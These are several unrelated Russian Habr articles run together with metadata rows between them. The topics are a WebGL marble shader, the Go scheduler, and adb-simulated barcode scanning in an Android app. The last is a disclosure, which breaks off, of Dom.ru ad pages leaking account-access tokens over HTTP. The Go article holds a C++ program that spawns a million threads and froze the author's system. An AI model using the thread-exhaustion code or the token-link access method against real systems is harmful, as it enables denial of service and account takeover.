```
const myUniforms = {
// ...(lots of stuff)
}
material.onBeforeCompile = shader => {
shader.uniforms = { ...shader.uniforms, ...myUniforms }
// ... (all your other patches)
}
```
Собрав всё воедино, мы получим газообразный (и стеклянный) объём. Я добавил ползунки, чтобы вы могли настраивать количество итераций, сглаживание, максимальную глубину и цвета.
Технически начало и направление луча должны находиться в локальном пространстве, чтобы эффект не нарушался при движении шара. Однако я пропускаю это преобразование: мы не перемещаем шарик, поэтому пространство мира и локальное пространство взаимозаменяемы.
### 3. Волнообразное движение
Последний штрих — оживим шарик анимацией объёма. Гарри в [этом](https://halisavakis.com/my-take-on-shaders-waving-displacement/) посте объясняет, как он добивается оживления с помощью 2D-текстуры смещения. Однако, как и в случае с картой высот, плоская текстура смещения деформируется вблизи полюсов сферы, поэтому мы снова будем делать собственные. Вы можете использовать те же настройки Blender, что и раньше, но на этот раз давайте запечём шумовую 3D-текстуру в каналы RGB:
В функции marchMarble прочитаем текстуру с помощью той же функции equirectUv, что и раньше, отцентрируем значения, а затем добавим масштабированную версию этого вектора в позицию, используемую для поиска текстуры карты высот. Чтобы анимировать смещение, введите временную uniform и используйте её для прокрутки текстуры смещения по горизонтали. Для большего эффекта мы дважды сэмплируем карту смещения (один раз вертикально, а после вверх ногами, чтобы они никогда не совпадали идеально), прокрутим их в противоположных направлениях и сложим вместе, чтобы получить хаотичный шум. Эта стратегия используется в [водных шейдерах](https://www.noveltech.dev/unity-simple-water-shader-shadergraph#movement) для волн.
```
uniform float time;
uniform float strength;
// Lookup displacement texture
vec2 uv = equirectUv(normalize(p));
vec2 scrollX = vec2(time, 0.);
vec2 flipY = vec2(1., -1.);
vec3 displacementA = texture(displacementMap, uv + scrollX).rgb;
vec3 displacementB = texture(displacementMap, uv * flipY - scrollX).rgb;
// Center the noise
displacementA -= 0.5;
displacementB -= 0.5;
// Displace current ray position and lookup heightmap
vec3 displaced = p + strength * (displacementA + displacementB);
uv = equirectUv(normalize(displaced));
float heightMapVal = texture(heightMap, uv).r;
```
И вот он, ваш магический шар!
### Дополнение
Эта формула — отправная точка, с которой открываются бесконечные возможности улучшений. Что произойдёт, если заменить шумовую текстуру, которую мы использовали ранее, на что-то другое:
Создано при помощи узла "Волновая текстура" (Wave texture) в BlenderИли как насчёт карты Земли?
Попробуйте перетащить ползунок displacement (смещение) и посмотрите, как танцуют континенты!
В этом примере я изменил шейдер, чтобы объём выглядел не столь разрежённым, увеличив скорость накопления объёма и прервав цикл по достижению определённого порога объёма, а также оттенив его конечным числом итераций, а не через накопленный объём.
И последнее
-----------
И последнее: я вернусь к статье Гарри, где он предлагает смешивать два цвета HDR. В основном это означает смешивать цвета, код RGB которых выходят за пределы типичного диапазона [0, 1]. Если мы подключим такой цвет к нашему шейдеру как есть, он создаст цветовые артефакты в пикселях, где света слишком много.
Проблема решается оборачиванием цвета в вызов toneMapping(), как в [tonemapping\_fragment.glsl.js](https://github.com/mrdoob/three.js/blob/9b1faf830f09957f8ea4886985dbbef99fd81949/src/renderers/shaders/ShaderChunk/tonemapping_fragment.glsl.js#L4), который "приглушает" цветовой диапазон. Я не смог найти определение функции, но она работает! В Pen ниже, чтобы вывести цвета за пределы диапазона [0, 1] и наблюдать, как их смешивание в HDR создаёт приятные цветовые палитры, я добавил ползунки цветового множителя.
* [Демо](http://tympanus.net/Tutorials/MagicalMarbles/)
* [Код на Github](https://github.com/mattrossman/magic-marble-tutorial/)
Если вы хотите разрабатывать впечатляющие сайты или прокачать свои навыки, то можете обратить внимание на наш курс по [Frontend-разработке](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=030821) или курс по [фулстеку на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=030821). Также вы можете [узнать](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=030821), как прокачаться в других направлениях:
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=030821)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=030821)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=030821)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=030821)
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=030821)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=030821)
* [Курс «Математика для Data Science»](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=030821)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=030821)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=030821)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=030821)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=030821)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=030821)
* [Профессия Android-разработчик](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=030821)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=030821)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=030821)
* [Профессия C#-разработчик](https://skillfactory.ru/csharp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CDEV&utm_term=regular&utm_content=030821)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=030821)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=030821)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=030821)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=030821)
**А также:**
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=030821) | https://habr.com/ru/post/570592/ | null | ru | null |
# Лезем в сорцы компилятора — как работает goscheduler (Часть I)
Каждый раз, когда я открываю новую книжку о golang, обязательно лезу в главу о горутинах и в очередной раз читаю, как беспощадно прекрасен голанг. Подумать только, вместо того, чтобы создавать потоки для обработки параллельно выполняемых задач, мы будем пользоваться внутренними инструментами языка!
Всё это замечательно, и большинство книг и курсов по golang приводят множество примеров того, насколько быстр го и как он запросто может справиться с бесконечным количеством задач. К сожалению, все эти книги не рассказывают, что же происходит под капотом голанга. Что же, давайте откроем сорцы суслика и посмотрим, что там внутри.
**Про перевод слова конкурренси**
Первое правило параллелизма в го звучит так
> Concurrency is not parallelism
>
>
>
> — Andrew Gerrand, 16 January 2013
Замечательно. Мы все это слышали. Давайте теперь напишем это по-русски:
Параллелизм — это не конруренси… Звучит убого, давайте переведём concurrency на русский. Облом. Думаю, что слово *согласованность* подходит лучше других. Ладно, будем жить с этим словом дальше.
Часть первая, в которой мы издеваемся над операционной системой и получаем представление об ужасной жизни несчастных потоков исполнения, созданных через CreateThread.
Введение в многопоточность
--------------------------
Итак, давайте сначала залезем под капот какой-нибудь операционной системы и посмотрим, как работают потоки. В общих деталях. Не заморачиваясь.
Вот мы выполняем нашу программу, всё хорошо и прекрасно. Инструкции выполняются одна за другой, всё мирно и спокойно. Но, нам пришло в голову, что будет лучше, если мы запустим процесс чтения данных с диска в отдельном потоке. Для этого в Windows мы воспользуемся [CreateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread) ну или [pthread\_create](https://man7.org/linux/man-pages/man3/pthread_create.3.html) в Linux.
Документация Майкрософт показывает следующее примечание:
> Количество потоков, созданное процессором, ограничено количеством виртуальной памяти. По умолчанию каждый поток создаётся с мегабайтом адресного пространства. Поэтому вы можете создать не более 2048 потоков. Если вы уменьшите размер стэка, то сможете создать больше потоков. Хотя ваше приложение будет иметь лучшую производительность, если вы создадите один поток на каждый процессор и построите очереди задач, для которых приложение будет сохранять контекст. Поток будет выполнять все задачи в одной очереди и после этого переключаться на другую очередь.
Теперь мы можем читать данные с диска в отдельном потоке. Делов-то, создать основной поток выполнения программы и второй поток для записи данных. Разрабатываем дальше и решаем, что пора уже замахнуться на веб-сервер и переписать nginx.
Вот он — наш новый сервер, и на каждое входящее соединение у нас создаётся новый поток. Всё бы хорошо, но мы начнём упираться в различные барьеры. Нам либо не хватит памяти для обработки всех этих потоков, или, что более реалистично, мы просто задушим процессор переключением контекста выполнения. В интернете вопрос о максимальном количестве потоков перерос в категорию холиваров. Поднимать его бесполезно, а точного ответа на этот вопрос мы не получим. Но, судя по всему, более 2000 потоков создавать будет неправильным решением, поскольку вы просто замучаете процессор.
Но это теория. Главный момент ограничений на практике состоит в том, что все эти ограничения в 2 гигабайта памяти и так далее, касаются 32х битных систем. Но мы-то давно знаем, что 64х завоевал весь мир.
Давайте проверим эти вещи на деле:
```
#include
#include
DWORD WINAPI callable(LPVOID lpParam);
int main()
{
for (int i = 0; i < 1000000; i++) {
CreateThread(NULL, 0, callable, NULL, 0, NULL);
}
std::cin.get();
}
DWORD WINAPI callable(LPVOID lpParam) {
std::cin.get();
return NULL;
}
```
Пишем наипростейшую программу, которая просто стартует 1 миллион потоков. Каждый поток будет просить пользователя ввести какую-нибудь информацию, то есть, моментально блокироваться. Никакой нагрузки на процессор в потоке не будет.
Тестовый стенд, что бог послал, то и будем тестировать:
*А сегодня нам был послан Intel Core i7 десятого поколения. Продвинутый мобильный процессор, более чем скромный по серверным меркам, но для тестов подойдёт.*
Замечаем, что в данный момент операционная система работает с 3720 потоками.
Запускаем программу с отладчиком и видим, что Visual Studio Debugger невероятно замедляет процесс. После пяти минут работы программа создала только 20000 потоков и работает более или менее нормально, хотя система перестала быть отзывчивой и притормаживает.
Запускаем программу без отладчика. И первые 40000 потоков создаются за доли секунды. Дальше система начинает немного тормозить. Количество потоков вырастает до 150000 в течение пяти секунд. Система начинает тормозить ещё серьёзнее. Все восемь (четыре) ядра загружены на 100%. После этого мы не можем создавать более чем 2000 потоков в секунду, и система медленно тикает, пока счётчик количества потоков не доходит до 180000. Где-то в этом районе система полностью и безвозвратно останавливается. Виснет всё. Мышь не дышит, клавиатура не реагирует, система уходит в полный ступор.
К сожалению, скриншотов этого я показать не могу, так как все они почили вместе с системой, которую пришлось перезагрузить.
Памяти в 12 гигабайт вполне себе хватило для запуска этой программы. Но то, что нас убило, это переключение контекста процессора. Потоки, которые мы создавали, на самом деле ничего не делали.
Подобный тест является синтетическим и на самом деле не показывает реальных тормозов, поскольку все наши потоки ничего не делают.
Если вы хотите протестировать свою систему без компилирования программ на С++, то можете воспользоваться замечательной утилитой testlimit64 -t, написанной Марком Руссиновичем, который в этой области ещё как разбирается.
Вернёмся к написанию нашего сервера. Наш сервер будет подвержен DOS атакам. Мы не просто создаём миллионы потоков, мы загружаем их работой, так что жить будет сложнее. Завалить такой сервер можно будет с ноутбука. Так делать нельзя. Вместо того чтобы испытывать кремень процессора на прочность, мы последуем рекомендации Майкрософт и создадим пул потоков. Удобная вещь.
Создаём ограниченное количество потоков, и запускаем на них задачи поочерёдно. При этом задачи выполняются быстро, и процессор не греется лишний раз, переключая контекст выполнения между потоками.
Практически любой фреймворк несёт в себе какое-то подобие [Thread Pool](https://docs.microsoft.com/en-us/dotnet/api/system.threading.threadpool?view=net-5.0) в С# и [Thread Pool](https://www.javatpoint.com/java-thread-pool#:~:text=Java%20Thread%20pool%20represents%20a,job%20by%20the%20service%20provider) в Java. (Ссылки содержат официальную документацию, если кому интересно, но читать это не обязательно)
Первые шаги
-----------
В голанге, вместо того, чтобы позволять вам крутить все эти потоки и пулы, разработчики пошли дальше и закрыли возможность напрямую создавать потоки в ОС. Вместо этого нам был предоставлен инструмент создания горутин и планировщик задач, разработанный специально для го, чтобы разобраться в базовых понятиях и работе планировщика в голанге. Также я постараюсь объяснить разницу между согласованностью и параллелизмом.
Так что убедитесь, что вы понимаете, что такое G, M и Р, прежде чем заныривать глубже. Нам предстоит препарировать суслика, тут поверхностным знанием не обойдёшься.
Ладно, так и быть, я признаюсь, нет в мире ни одной статьи о планировщике в голанге, где не была бы показана вот эта картинка:
*Ну вот, теперь статью можно считать полноценной.*
Обязательно наличие треугольничков, квадратиков и кружочков. Не верите? Идите в гугл и ищите картинки по запросу go scheduler и вы увидите, что я не шучу:
*Куда ни ткни, там эти треугольнички, квадратики и кружочки.*
Мы посмотрим на все эти G, P и M, но попозже.
Но нам этого мало. Как на самом деле работает планировщик? Что же, ответить на этот вопрос не так-то просто. Давайте залезем в репозиторий go/golang и найдём там настоящий планировщик. [src/runtime/proc.go](https://github.com/golang/go/blob/master/src/runtime/proc.go). Вот где собака, суслик зарыт.
В этом же файле можно найти [восхитительный документ](https://golang.org/s/go11sched), написанный Дмитрием Вьюховым, который рассказывает о внутреннем дизайне планировщика задач в голанге.
Именно теперь, у нас уже начинают вылезать интересные факты из жизни сусликов, которые мы и будем исследовать в этой статье.
Лезем глубже
------------
И вот тут вот мы начинаем находить настоящие ответы на наши вопросы.
Почему планировщик в голанге такой прекрасный и хороший? В основу работы этого планировщика положено исследование Роберта Блюмфо и Чарлза Лисерсена под названием [“Планирование многопоточных приложений на основе захвата работы”](http://supertech.csail.mit.edu/papers/steal.pdf). (Я очень долго думал, как правильно перевести термин Work Stealing и остановился на Захвате Работы.)
Давайте посмотрим на некоторые моменты, описанные в этом документе.
Планирование выполнения это чрезвычайно сложный процесс. С точки зрения операционной системы минимальный блок выполнения — это поток. ОС не может регулировать количество потоков, создаваемых пользователем. Если пользователь хочет, то вот вам фотошоп с лайтрумом и спотифаем работают вместе, создавая армию в 1000 потоков. А если пользователь хочет, то вот вам сервер на линуксе, в котором после старта запускается и мирно спят 150 потоков, не нагружая процессор.
ОС должна распределить эти потоки по процессорам. А так как процессоров у нас обычно меньше, чем потоков, то приходится эти потоки запускать на определённое время, после чего снимать и запускать другие потоки.
А если вы посмотрите на то, как устроен кеш любого процессора, то поймёте, что проблема может быть более глубокой. Вот, например, изображение того, как выглядят кеши моего процессора:
Внезапно взято из публикации о том, как воровать деньги с криптокошельков… Ссылку не привожу.
В нашем ненатуральном тесте, чуть выше, мы не пользовались памятью в процессах, не сохраняли никаких данных и не производили никаких вычислений. Но, любая настоящая программа будет записывать и читать данные из оперативной памяти. Данные, прочитанные из памяти, при исполнении программы будут помещаться в кеш процессора. Поэтому, когда операционная система решает, что определённый поток наигрался на процессоре, и ему пора пойти отдохнуть, работы предстоит немало. Вам нужно не только изменить инструкции, выполняемые процессором, но и переписать кеши.
А кеш у нас не один. Их на каждое ядро — четыре разных штуки. IL and DL это кеши инструкций и данных первого уровня. Дальше на ядре есть кеш второго уровня, и все ядра вместе делят кеш третьего уровня. Если вам очень хочется разобраться в работе кеша в i7, то рекомендую обратиться к официальной документации Интел. Это документ в 50 мегабайт и более чем в 5000 страниц. Информация о работе с кешем находится по всему документу. А если вам хочется почитать что-то за кружкой кофе с утра, то есть [вот эта](https://software.intel.com/content/www/us/en/develop/articles/how-memory-is-accessed.html) статья, где всё объясняется более понятным языком и намного более компактно.
При работе с кешем задержки будут становиться всё более и более серьёзными. Если верить Process Explorer, то в данный, ненагруженный, момент, моя ОС переключает контекст примерно 20,000 раз в секунду. А при запуске нашей программы-убиваки переключение контекста подскакивает до 700,000 раз в секунду.
Соответственно, операционная система, работая совместно с процессором, должна решить, как правильно выполнить все эти переключения контекста. Переключение контекста выполнения означает дополнительную нагрузку на процессор. А отсутствие переключения означает, что ваш медиаплеер будет лагать и выдавать музыку кусками, поскольку он не будет выполняться достаточно часто.
Для того чтобы выяснить, когда надо производить операцию переключения контекста, ОС использует планировщик задач. Если вы хотите окунуться в мир планировки задач в ОС Windows, то я рекомендую посмотреть на эту [замечательную главу](https://www.microsoftpressstore.com/articles/article.aspx?p=2233328&seqNum=7#:~:text=Windows%20implements%20a%20priority%2Ddriven,a%20phenomenon%20called%20processor%20affinity) из книги Windows Internals, 5th edition (не самое последнее издание, но это есть в [открытом](https://www.microsoftpressstore.com/store/windows-internals-9780735625303?w_ptgrevartcl=Processes%2c+Threads%2c+and+Jobs+in+the+Windows+Operating+System_2233328) доступе в интернете).
Исходя из этих данных, мы знаем, что Windows использует упреждающий планировщик задач, основанный на приоритетах. В зависимости от текущей конфигурации системы выделяются определённые кванты времени. Промежутки времени, в которые происходит выполнение процесса. Каждый процесс выполняется только в течение этого кванта времени, после этого снимается с процессора и заменяется другим процессом, в зависимости от приоритета.
Кстати, в зависимости от этого же приоритета, процесс может даже и не закончит свой квант, ввиду наличия процесса с большим приоритетом.
Промежуточные итоги
-------------------
Если вы пытаетесь написать многопоточное приложение, то создание потоков — это не решение ваших проблем. На самом деле, чем меньше потоков вы создадите, тем быстрее они будут выполняться.
Но среда выполнения golang это не операционная система. Это совсем другой уровень приложения. Это просто поток, который работает наравне с другими потоками в ОС.
В golang подход к планированию задач внутри среды исполнения строится на другом принципе, называемом захватом работы. Создаются очереди работы и процессоры, которым нечего делать, и которые будут подбирать эту работу.
В go у вас нет возможности получить доступ к механизму создания новых процессов напрямую. Вообще. Вы можете создавать только горутины, а они уже будут управляться средой выполнения. Как они будут управляться? Давайте посмотрим на это в следующей статье. | https://habr.com/ru/post/581158/ | null | ru | null |
# Тестирование продукта RuScanner: как заставить отладчик Android работать во благо тестирования
Всем привет, меня зовут Дарья Чернышева, я инженер по обеспечению качества команды RuScanner.
В этом посте я расскажу про процессы на проекте и о том, как мы при помощи специальных отладочных инструментов Android решили проблему со сканированием штрих-кодов в автоматизации.
Подробнее про продукт
---------------------
RuScanner (RS) — приложение для сканирования маркированных товаров и коробов, в которые эти товары упаковываются. Товары сканируются посредством считывания специальной этикетки КИЗ (CIL), а короба — LPN, зашифрованных в штрихкоды.
Приложение написано на платформе Android. Стек технологии:
* Android 6+;
* Kotlin, Coroutines, Flow;
* Clean Architecture, MVVM;
* Compose;
* Room;
* 2D Scanner.
Наш workflow
------------
Как многие знают, в тестировании на Android автоматизировать тесты достаточно на 70-80%, но не стоит забывать и про ручное тестировать.
Для того чтобы качественно протестировать наше приложение, нужно иметь на проекте стратегию тестирования.
На первом этапе мы составляем план тестирования, настраиваем тестовое окружение, пишем тест-кейсы, затем выполняем тесты и заводим (если нужно) баг-репорты.
Так как приложение можно использовать не только на специализированных устройствах (Терминалы сбора данных, ТСД), но и на личных устройствах пользователя, в нашей команде при тестировании используются устройства:
* Urovo i6300;
* Zebra MC330K 2D;
* Zebra TC26;
* Samsung Galaxy S20 FE;
* Samsung Galaxy A11.
Устройства имеют разное разрешение экранов, разную вариацию операционной системы Android и разных производителей. Поэтому мы тщательно подходим к тестированию UI.
В Автоматизации мы используем стек – **Java + TestNG + Maven + Appium + Cucumber + Allure.**
Данный фреймворк используется на проекте, так как ручные тестировщики могут участвовать в написании автотестов, имея базовые знания языка программирования.
Как мы автоматизируем сканирование штрих-кодов на проекте RuScanner
-------------------------------------------------------------------
#### Немножко про Broadcast Receiver
Broadcast Receiver — это механизм для получения широковещательных событий в Android.
Если кратко, то это компоненты в вашем приложении Android, которые прослушивают сообщения (или события) из разных источников:
* из других приложений;
* из самой системы;
* из вашего приложения.
Для передачи событий используется Intent («намерение») – важная сущность в мире Android. Intent используется для передачи сообщений, событий, запуска приложений и в других важных процессах взаимодействия приложений и системы.
У Intent`а есть Action (главный атрибут, обозначающий назначение намерения) и Extras (данные, которые в себе несет Intent).
**Какая задача была у разработчиков?**
1. Собирать приложение в специальную тестовую сборку.
2. Слушать специальное событие, имитирующее сканирование по заданному заранее Action.
3. В данных intent извлекать информацию о отсканированном коде.
4. Выполнять логику, типовую для приложения, словно код был отсканирован реальным сканером.
5. Записать необходимые действия и поля для broadcast — для всех типов 1D/2D-кодов, которые используем в приложении.
Что получилось?
---------------
У Android-устройства, на котором включён режим разработчика (или на эмуляторе), есть специальная программа – Android Debug Bridge (ADB, [вот инструкция](https://developer.android.com/studio/command-line/adb) по её установке), которая позволяет всячески манипулировать устройством для целей отладки и разработки. В том числе эта программа позволяет нам отправлять Broadcast-сообщения, необходимые для эмулирования сканирования. К сожалению, adb – это консольная утилита, не имеющая графического интерфейса.
Далее мы рассмотрим пример нашей команды для отправки broadcast.
Сама команда:
`adb shell "am broadcast -a ruscanner.message --ei barcodeType 106 --es barcode ']C001234567891911112'"`
*Разберем в данной строчке все по порядку:*
`Adb` – программа позволяет связываться с андроид-отладчиком на андроид-устройстве.
`Adb shell` –вызов консоли Android для выполнения команд.
`"am broadcast` – это активити-менеджер, которому мы даем команду сделать Broadcast.
*-*`a ruscanner.message` – ключ `-a` указывает action
`--ei barcodeType 106` – ключ `–ei` говорит, что это будет целочисленное поле extra с именем barcodeType
*-*`-es barcode ']C001234567891911112'"` - ключ `–es` указывает, что это будет строковая extra с именем barcode.
**Важно**: Вы, наверное, заметили, что строковая extra обёрнута в одинарные кавычки. Так происходит потому, что мы отправляем команду в android-shell, а там используется linux (sh) и следует учитывать, что некоторые символы или строковые литералы потребуется экранировать или обернуть в одинарные кавычки”
Приложение пробует распарсить данные, смотрит, есть ли там Extras, есть ли там данные с ключом barcode. Если данные указаны верно, то мы пытаемся из команды извлечь строку и отправляем в поток, который используется для сканирования.
В приложении RuScanner используется Coroutines Flow. В нашем случае – это поток, который непрерывно шлёт данные, а часть приложения, ответственная за бизнес-логику, читает из этого потока. В него как раз и отправляют все сканирования, который смог распознать broadcast.
А в итоге?
----------
В итоге небольшой доработкой, которая не влияет на истинность тестирования, мы самым быстрым и простым способом достигли результата. Ещё эта доработка позволяет разработчикам проверять код в эмуляторе. То есть, она полезна не только для тестирования, но и для разработки. Вместе с тем, в продуктовой сборке данный BroadcastReceiver отключается, что не влияет на конечный продукт.
Есть не только плюсы, но и минусы для способа с Broadcast:
1. В проекте должен быть достаточный уровень абстракции,
2. У вас должен быть достаточный ресурс разработчиков.
Благо в нашем проекте 3 разработчика, и они старались придерживаться рекомендаций CleanArchitecture. | https://habr.com/ru/post/668990/ | null | ru | null |
# Возможные утечки персональных данных или как Дом.ru даёт полный доступ к личному кабинету по ссылке из http
> Впервые уязвимость была обнаружена еще 26.06.2020, о чем автор тут же сообщил техподдержке Дом.ru. Автор долго и упорно пытался решить проблему непублично, но встретил полное её непонимание техническими специалистами. Провайдер уверяет, что случай автора единичный, но сегодня пришло подтверждение наличия проблемы и у других источников. Автор не публикует ничьих личных данных и не призывает к противоправным действиям. Написание этой статьи — вынужденная мера.
>
>
>
> Хотя, если уж провайдер прямо говорит что всё нормально, то никаких рисков общедоступное описание работы его сервисов вообще не должно нести.
>
>
#### В чем суть?
Крупный интернет-провайдер Дом.ru перехватывает http-трафик пользователя и, время от времени, переадресует его на свою рекламную страницу вместо целевой. В теле рекламной страницы провайдер передает ссылку для настройки или отписки от рекламных уведомлений, которая ведет на личный кабинет пользователя. Эта ссылка открывает полный доступ к личному кабинету пользователя без ввода логина и пароля и позволяет делать это из любой точки мира. Рекламная страница передается по незашифрованному протоколу http. Это значит, что на любом узле (или даже через [врезку](https://habr.com/ru/post/130710/)) между вами и сервером, отвечающим за выдачу рекламных страниц (info.ertelecom.ru), могла произойти утечка, и неважно что сам личный кабинет после перехода по ссылке работает по https.
#### Утекли ли мои данные?
Точно вам сейчас не скажет и сам провайдер. Если вы хоть раз в недавнем времени видели подобную страницу, открытую по протоколу http, то вы подвержены утечке.
#### Как обезопасить себя?
* Перейти в настройки личного кабинета, далее внизу страницы выбрать «Настройка уведомлений от Дом.ru» и, как минимум, отключить всю браузерную рекламу.
* Если вы недавно видели рекламную страницу, то вам остается просто надеяться что данные не утекли и что провайдер в ближайшее время запретит доступ по ссылкам-бэкдорам. По крайней мере по уже «засвеченным».
* Если вы ни разу не видели подобную рекламу, то вам остается надеяться что отключение браузерной рекламы поможет. Достоверных данных у меня нет, но хабраюзеры в другой [теме](https://habr.com/ru/post/497006/) упоминали, что другая реклама показывалась несмотря на отключение.
#### Подробности. Что могло утечь?
Впервые уязвимость была найдена 26.06.2020. У меня нет никаких данных о том, как долго до 26.06.2020 этот уязвимость была активна. 02.07.2020 мне поступил скриншот от другого абонента, на котором страница была открыта по протоколу https, но 05.07.2020 мне поступил еще один скриншот с рекламной страницей открытой по http, что говорит о том, что ваши данные всё еще могут утечь, даже если вы до этого ни разу не видели рекламной страницы. Я долго и безуспешно пытался обратить внимание технических специалистов провайдера на проблему. На скриншоте в конце статьи последнее сообщение от провайдера мне, пришедшее 04.07.2020.
А теперь о самой ссылке-бэкдоре. Внизу рекламной страницы есть стандартная ссылка на отписку от рекламных уведомлений. Вот как она выглядит:
```
https://lk.domru.ru/settings/ppr?token=токен&city_id=айди
```
city\_id — двузначное число, token — цифробуквенная последовательность из 31го символа.
При переходе по ссылке открывается полный доступ к личному кабинету, его административным функциям, такой как, смена тарифа, и личным данным пользователя:
* ФИО полностью
* Адрес проживания с точностью до квартиры
* Полный номер банковской карты, если карта была добавлена в кабинет, маскированный всего двумя звездочками
* Маскированный 4мя звездочками номер телефона — легко привязать к существующей базе телефонов по городу, имени
* Баланс счета клиента
* Ваши телевизионные предпочтения по пакетам доп. услуг
и другим данным.
Из хорошего — никакого сервиса вроде домру-кошелек, или другого способа снять деньги с баланса провайдер не предоставляет. Вы попадете на деньги, только если злоумышленник наподключает услуг.
Тем не менее, то, что у злоумышленников может появиться еще один набор данных о вас, порой достаточно редких данных, ничего хорошего не сулит.
* Социальная инженерия. Злоумышленник может представиться вами в телефонном разговоре с банком или другой организацей. Набор данных для убалтывания у него теперь расширен.
* Телефонное мошеничество. Речь псевдо-безопасников из банка будет еще более персонализированной. Они расскажут вам где вы живете и каков номер вашей банковской карты, зная до этого лишь номер телефона и имя.
Мне не известно умеет ли провайдер выдирать http страницы из тела незашифрованных запросов к socks и http proxy и ставить вместо них рекламу.
Также мне не известно как много ссылок-бэкдоров уже могло утечь, а значит и сколько из них может до сих пор использоваться.
#### О субъективном
Моё личное мнение — такой ссылки здесь в принципе быть не должно. Даже переданной по https. В данной ситуации ссылка должна вести либо на незалогиненный кабинет, либо на маленькую форму отписки от рассылки, но ни в коем случае не на полную версию личного кабинета. Даже если безопасность передачи такой ссылки гарантирована, пользователи вашего домашнего интернета не всегда разумны. Ребенок, увидевший такую рекламу, может устроить родителям сюрприз в виде подключения нового скоростного тарифа. Тариф ведь скоростной, в рекламе ведь так и показали.
Не собираюсь спекулировать, но, даже при безопасной передаче ссылки, в худшем варианте она может быть доступна очень многим сотрудникам провайдера. У меня нет уверенности, что она не логируется в access-логах серверов приложений, так же как не должны и логироваться пароли. У меня нет уверенности, что токен, как удобная замена ID пользователя, не иcпользуется в тех. поддержке. Соблазн использвать такую ссылку «на стороне» может быть очень велик, если она лежит и доступна где попало, а её использование никак не отслеживается. Провайдер такую активность, если когда-нибудь и отследит, то найти виновного будет очень проблематично. Да и в конце концов, создавать лишние соблазны и риски там, где этого можно избежать, явно не стоит.
По поводу, сделано ли так целенаправленно, а не по ошибке, также спекулировать не собираюсь.
Провайдер называет такую ссылку сквозной авторизацией, но я считаю, что это не так. А вы как думаете?
Вишенкой на торте хотел бы выложить самый последний ответ от провайдера.
1. Страница магическим образом оказывается сразу в моём роутере, а промежуточные узлы в трассировке мне почудились.
2. Не знаю какое у токенов время жизни, но по токену от 26.06.2020 я могу зайти до сих пор (не факт что его тоже не угнали). А 05.07.2020 я получил еще один токен от своего кабинета. Оба валидны единовременно.
3. И вообще виноват пользовательский браузер.
Второй токен я, кстати, получил в другом браузере.
А 05.07.2020 мне даже посчастливилось выловить следующий пакет на интерфейсе роутера.
**Виноват браузер**
```
17:04:27.910885 IP (tos 0x28, ttl 126, id 54321, offset 0, flags [none], proto TCP (6), length 415)
айпи_сервера_целевой_страницы > мой_динамический_айпи: Flags [P.], cksum 0xad30 (correct), seq 1:376, ack 731, win 65534, length 375: HTTP, length: 375
HTTP/1.1 303 See Other
Cache-Control: no-cache,no-store,max-age=1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Length: 13
